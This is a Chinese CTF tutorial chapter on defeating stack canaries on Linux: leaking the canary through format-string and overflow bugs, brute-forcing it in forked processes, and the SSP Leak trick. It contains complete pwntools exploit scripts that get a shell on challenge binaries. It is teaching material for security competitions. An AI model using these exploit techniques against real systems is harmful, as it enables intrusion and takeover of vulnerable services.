CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

 

课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

Linux Pwn入门教程第三章:ShellCode

Linux Pwn入门教程第四章:ROP技术(上)

Linux Pwn入门教程第四章:ROP技术(下)

Linux Pwn入门教程第五章:调整栈帧的技巧

Linux Pwn入门教程第六章:利用漏洞获取libc

Linux Pwn入门教程第七章:格式化字符串漏洞

Linux Pwn入门教程第八章:PIE与bypass思路

今天i春秋与大家分享的是Linux Pwn入门教程第九章:stack canary与绕过的思路,阅读用时约15分钟。

canary简介

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp、eip等,从而达到劫持控制流的目的。然而stack canary这一技术的应用使得这种利用手段变得难以实现。canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

这个概念应用在栈保护上则是在初始化一个栈帧时在栈底设置一个随机的canary值,栈帧销毁前测试该值是否“死掉”,即是否被改变,若被改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。

当一个程序开启了canary保护时,使用checksec脚本检查会出现以下结果:

 

 

可以看到Stack一行显示Canary found。此外,在函数栈帧初始化时也会在栈上放置canary值并且在退出前验证。

 

 

 

很显然,一旦我们触发栈溢出漏洞,除非能猜到canary值是什么,否则函数退出的时候必然会通过异或操作检测到canary被修改从而执行stack_chk_fail函数。因此,我们要么想办法获取到canary的值,要么就要防止触发stack_chk_fail,或者利用这个函数。

 

泄露canary

首先我们要介绍的方法是泄露canary。很显然,这个方法就是利用漏洞来泄露出canary的值,从而在栈溢出时在payload里加入canary以通过检查。首先我们来看一下使用格式化字符串泄露canary的情况。

打开例子~/insomnihack CTF 2016-microwave/microwave。这个程序的流程看起来有点复杂,而且文章开头的checksec结果显示它开了一大堆保护。但是程序中存在着两个漏洞,分别是功能1中的一个格式化字符串漏洞和功能2中的一个栈溢出漏洞。

 

 

 

 main函数中使用fgets获取的输入被作为参数传递给sub_F00,然后使用__printf_chk直接输出,存在格式化字符串漏洞,可以泄露内存。

 

 

 功能2调用sub_1000,其中read读取了过多字符,可以造成栈溢出。

在之前的文章中我们提到过FORTIFY对于格式化字符串漏洞的影响,也就是说这个程序我们无法使用%n修改任何内存,所以我们能用来劫持程序执行流程的漏洞显然只有栈溢出。这个时候我们就需要用到格式化字符串漏洞来泄露canary了。

首先我们调试一下这个程序,让程序执行到call __printf_chk一行并查看寄存器和栈的情况,看一下我们可以泄露哪些东西。

 

 

 

 

 

结合调试和对内存的分析,我们不难发现泄露出来的第一个数据可以直接用来计算libc在内存中的地址(当然你也可以选择用下面的stdout和stdin),而第6个数据就是canary,因此我们就可以构造脚本泄露地址并利用其计算one gadget RCE的地址。

io.sendline('1') #使用功能1触发格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密码硬编码在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.') 
leak_libc = int(leak_data[0], 16)
one_gadget_addr = leak_libc - 0x3c3760 + 0x45526 #计算one gadget RCE地址
canary = int(leak_data[5], 16)
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))

然后我们进入功能2触发栈溢出漏洞,调试发现canary和rip中间还隔着8个字节。

 

 

 据此我们就可以写出脚本getshell了。

from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote('172.17.0.2', 10001)
io.sendline('1') #使用功能1触发格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密码硬编码在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.') 
leak_libc = int(leak_data[0], 16)
one_gadget_addr = leak_libc - 0x3c3760 + 0x45526 #计算one gadget RCE地址
canary = int(leak_data[5], 16)
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))
payload = "A"*1032 #padding
payload += p64(canary) #正确的canary
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)
sleep(0.5) 
io.interactive()

当然,并不是所有有canary的程序都能那么幸运地有一个格式化字符串漏洞,不过我们还可以利用栈溢出来泄露canary。我们再来看一下另一个例子~/CSAW Quals CTF 2017-scv/scv。

这是一个用C++写成的64位ELF程序,所以IDA F5插件看起来有点混乱,但是很显然还是能看出来主要的功能的。

 

 

 

结合运行的结果,我们很容易判断出功能1可能会有问题。

 

 

 通过调试我们不难发现这个程序确实存在栈溢出,但是问题选项123都位于main函数的死循环里,只有选项3会退出循环,从而在main函数结束时触发栈溢出漏洞。此外,我们还没有找到canary的值,怎么办呢?我们观察选项2,发现选项2是输出我们的输入。因此,我们可以通过溢出的字符串接上canary值,从而在输出的时候把canary的值“带”出来。

 

 

 很容易计算出来我们需要输入的字节是168个.......且慢!我们知道字符串是以\x00作为结尾的。canary这一保护机制的设计者显然也考虑到了canary被误泄露的可能性,因此强制规定canary的最后两位必须是00.这样我们在输出一个字符串的时候就不会因为字符串不小心邻接到canary上而意外泄露canary了。所以,我们这里必须在168的基础上+1,把这个00覆盖掉,从而让canary的其余部分被视为我们输入的字符串的一部分。

 

 这个时候我们使用功能2,就会带出canary的值了。注意到后面的乱码里有个7,对应的0x37就是canary的一部分。

 

 

 然后我们就可以通过leak的canary过掉canary保护并开启shell了。本例子的脚本可见于附件,此处不再贴出,注意写脚本泄露canary时可以把padding字符串的最后几个字符修改成其他字符(如“ABCDE”),以便于通过io.recvuntil( )进行定位,防止截取canary出现问题。

除了通过上述的这两种方法来leak canary之外,程序中也可能出现其他可以leak canary的方法,不要拘泥于形式的约束。

 

多进程程序的canary爆破

canary之所以被认为是安全的,是因为对其进行爆破成功率太低。以32为例,除去最后一个\x00,其可能值将会是0x100^3=16777216(实际上由于canary的生成规则会小于这个值),64位下的canary值更是远大于这个数量级。

此外,一旦canary爆破失败,程序就会立即结束,canary值也会再次更新,使得爆破更加困难。但是,由于同一个进程内所有的canary值都是一致的,当程序有多个进程,且子进程内出现了栈溢出时,由于子进程崩溃不会影响到主进程,我们就可以进行爆破。甚至我们可以通过逐位爆破来减少爆破时间。

我们看一下例子~/NSCTF 2017-pwn2/pwn2。

 

 

 main函数有一个简单的判断,输入Y后会fork一个子进程出来,子进程执行函数sub_80487FA,在这个函数中存在一个格式化字符串漏洞和一个栈溢出漏洞。

 

 

 其实这边利用格式化字符串漏洞就可以泄露canary的值,不过为了学习爆破canary的方式,我们还是老老实实爆破。我们先调试一下这个程序:

 

 

 调试的时候发现了一个问题,IDA调试的进程由于是父进程,pid大于0,进程会执行到call _wait等待子进程结束。此时虽然我们没有办法观察到子进程内部代码的执行过程,怎么办呢?

对此,我们的解决办法是attach子进程。我们先按照attach下断点的规矩,在输入的后面,即在地址0x080487b8上下个断点,然后在shell中运行程序。

 

 

 根据程序的流程,输入Y之后这个进程就会fork一个子进程,此时我们使用IDA attach。

 

 

 问题来了,有两个./pwn2,我们attach哪个呢?由于子进程的ID比父进程大,我们应该attach的是ID为67的那个。此时我们就成功地进入了子进程中。

 

 

 接下来就是通过格式化字符串漏洞泄露libc中的某个地址,并计算栈溢出到canary的字节数了,这一过程我们不再赘述。

现在我们已经获得了想要的信息,接下来就是写脚本爆破canary了。我们爆破的思想是逐位爆破,即在padding之后每次修改一位canary字节。显然,这个范围就缩小到了0x00-0xFF共256个字节。一旦这个字节猜对了,canary就等于是没有被改变过,于是程序成功通过检测。所以我们需要观察一下猜测对和错时程序输出的不同。

 

 

 我们可以看到,当canary猜错时只有一个Do you love me?[Y],而不是猜对的两个(stack smashing detected通常不会输出到stdout或stderr,不能用来进行判断,我们会在下一节解释)。所以我们写脚本如下:

canary = '\x00'
for i in xrange(3):
 for j in xrange(256):
 io.sendline('Y')
 io.recv()
 io.sendline('%19$p') #泄露栈上的libc地址
 io.recvuntil('game ')
 leak_libc_addr = int(io.recv(10), 16)
 io.recv()
 payload = 'A'*16 #构造payload爆破canary
 payload += canary
 payload += chr(j)
 io.send(payload)
 io.recv()
 if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个" Do you love me?",因此通过第二个recv的结果判断是否成功
 canary += chr(j)
 log.info('At round %d find canary byte %#x' %(i, j))
 break
log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))

运行输出如下:

 

 

 爆破canary成功,据此我们就可以写脚本getshell了。

 

SSP Leak

除了通过各种方法泄露canary之外,我们还有一个可选项——利用__stack_chk_fail函数泄露信息。这种方法作用不大,没办法让我们getshell。但是当我们需要泄露的flag或者其他东西存在于内存中时,我们可以使用一个栈溢出漏洞来把它们泄露出来。这个方法叫做SSP(Stack Smashing Protect) Leak。

在开始之前,我们先来回顾一下canary起作用到程序退出的流程。首先,canary被检测到修改,函数不会经过正常的流程结束栈帧并继续执行接下来的代码,而是跳转到call __stack_chk_fail处,然后对于我们来说,执行完这个函数,程序退出,屏幕上留下一行*** stack smashing detected ***:[XXX] terminated。

这里的[XXX]是程序的名字。很显然,这行字不可能凭空产生,肯定是__stack_chk_fail打印出来的。而且,程序的名字一定是个来自外部的变量(毕竟ELF格式里面可没有保存程序名)。既然是个来自外部的变量,就有修改的余地。我们看一下__stack_chk_fail的源码,会发现其实现如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
 __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
 /* The loop is added only to keep gcc happy. */
 while (1)
 __libc_message (2, "*** %s ***: %s terminated\n",
 msg, __libc_argv[0] ?: "<unknown>");
}

我们看到__libc_message一行输出了*** %s ***: %s terminated\n。这里的参数分别是msg和__libc_argv[0]。char *argv[]是main函数的参数,argv[0]存储的就是程序名,且这个argv[0]就存在于栈上。所以SSP leak的玩法就是通过修改栈上的argv[0]指针,从而让__stack_chk_fail被触发后输出我们想要知道的东西。

首先我们来看一个简单的例子~/RedHat 2017-pwn5/pwn5.这个程序会把flag读取到一块名为flag的全局变量中,然后调用vul函数。

 

 

 vul函数中有一个栈溢出漏洞

 

 

 很显然,这个题目除了栈溢出没有任何漏洞利用方法,而栈溢出又被canary把守着。但是,flag在内存中的位置是固定的,我们就可以使用SSP Leak。我们先在判断canary的地方打个断点,通过人为修改寄存器edx使程序进入__stack_chk_fail,然后看一下argv[0]在哪。

 

 

 到call __stack_chk_fail的时候我们F7跟进,一直F7到此处。

 

 

 这一段代码实际上是处理符号绑定的代码,我们选中retn 0Ch一行后F4,然后F7就到了__stack_chk_fail。

 

 

 call near ptr一行其实并没有什么有用的代码,真正的主体部分在call __fortify_fail,我们跟进这个函数。

 

 

 如果你还没有看出来这是什么的话,不妨按一下F5,你就会发现这就是本节开头我们贴的那一段代码。

 

 

 显然,__libc_message对应了那个函数指针unk_F7E3ACE0,而argv[0]对应的则是v7,我们切到汇编窗口下,根据参数的入栈顺序可知argv[0]最后存在的寄存器是eax。

 

 

 那么这个eax从哪里来呢,对比伪代码和汇编我们可以发现,<unknown>这个字符串的地址最终被放进了地址esp+1Ch+var_10,然后eax从(off_F7F8C5F0-0F7F89000h)[ebx]从取值,如果是空则把<unknown>放回去。所以argv[0]从哪取值不言而喻。我们来看一下(off_F7F8C5F0-0F7F89000h)[ebx]指到了哪里。

我得承认,这行代码我真的看不太懂,所以我在Options->General...里设置了一下Number of opcode bytes (non-graph)的值为8,好观察它的opcode,显示如下:

 

 

 然后我查了一下opcode表和相关资料,显示8B是MOV r16/32/64 r/m16/32/64,第二个字节83,对照这个表格。

 

 

 由于我们的程序是32位,显然对应的是mov eax, ebx+disp32的形式。此时我们把ebx=F7F89000加上opcode后面的数(注意大端序)0x000035f0,结果就是F7F8C5F0.所以,(off_F7F8C5F0-0F7F89000h)[ebx]就是取ebx的值,然后加上偏移(0xF7F8C5F0-0xF7F89000),0XF7F89000还是ebx的值,所以答案就是这行代码会把地址F7F8C5F0给eax。接下来的代码则是取出地址F7F8C5F0的值给eax,若这个值是空则设置eax为<unknown>。我们来看一下F7F8C5F0:

 

 

 这个地址里保存的值是FF874AA4,指向栈中的一个位置,而这个位置保存着程序名字pwn5。

 

 

 我们不难找到输入所在的位置。

 

 这样我们就可以算出来偏移了,并且可以本地测试一下证明SSP leak起了作用。

 

 

 到了这一步,其实我们已经算是讲清楚SSP leak的玩法了——计算偏移,用地址覆盖argv[0]。通常来说,这能解决大部分问题。然而我们不应满足于此,我们继续来看一下这种题目会怎么部署,并引申出一种更高级的题目布置和玩法。

我们用socat把题目搭建起来,发现脚本失效,io.recv( )读不到输出,输出只能在socat所在的服务器端显示:

 

 

 如果你有一点Linux基础知识和编程经验,你应该知道Linux的“一切皆文件”思想,Linux的头三个文件描述符0, 1, 2分别被分配给了stdin,stdout,stderr。前两者很好理解,最后的stderr,顾名思义,是错误信息输出的地方。那么是不是因为*** stack smashing detected ***被输出到了stderr,所以socat不会转发到端口上被我们读取到呢?我们试一下加上参数stderr。

 

 

 还是不行。显然,我们需要继续挖掘__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");这行代码。

我们查看__libc_message( )这个函数的实现:

void
__libc_message (int do_abort, const char *fmt, ...)
{
 va_list ap;
 va_list ap_copy;
 int fd = -1;
.......................//为节省篇幅省略部分无关代码,下同
 /* Open a descriptor for /dev/tty unless the user explicitly
 requests errors on standard error. */
 const char *on_2 = __secure_getenv ("LIBC_FATAL_STDERR_");
 if (on_2 == NULL || *on_2 == '\0')
 fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
 if (fd == -1)
fd = STDERR_FILENO;
...........................
}

这个函数在运行的时候会去搜索一个叫做“LIBC_FATAL_STDERR_”的环境变量,如果没有搜索到或者其值为‘\x00’,则把输出的fd设置为TTY,否则才会把fd设置成STDERR_FILENO,即错误输出到stderr,所以我们部署的时候需要给shell设置环境变量。

 

 

 此时我们再用加了参数stderr的命令搭建题目,测试成功。

 

 

 关于这种利用方法,附带的练习题中还有一个32C3 CTF的readme。这个题目在部署的时候不需要设置环境变量,而是通过修改环境变量指针指向输入的字符串来泄露flag。(Tips: 指向环境变量的指针就在指向argv[0]的指针往下两个地址)

 

其他绕过思路

以上内容只是介绍了几种较为常见的绕过canary的方法,事实上,canary这一保护机制还有很多的玩法。例如可以通过修改栈中的局部变量,从而控制函数中的执行流程达到任意地址写(0CTF 2015的flaggenerator),直接“挖”到canary产生的本源——AUXV(Auxiliary Vector),并修改该结构体从而使canary值可控(TCTF 2017 Final的upxof),等等。套路是有限的,知识是无穷的。

以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

posted @ 2019-09-25 11:22  i春秋  阅读(3339)  评论(0编辑  收藏  举报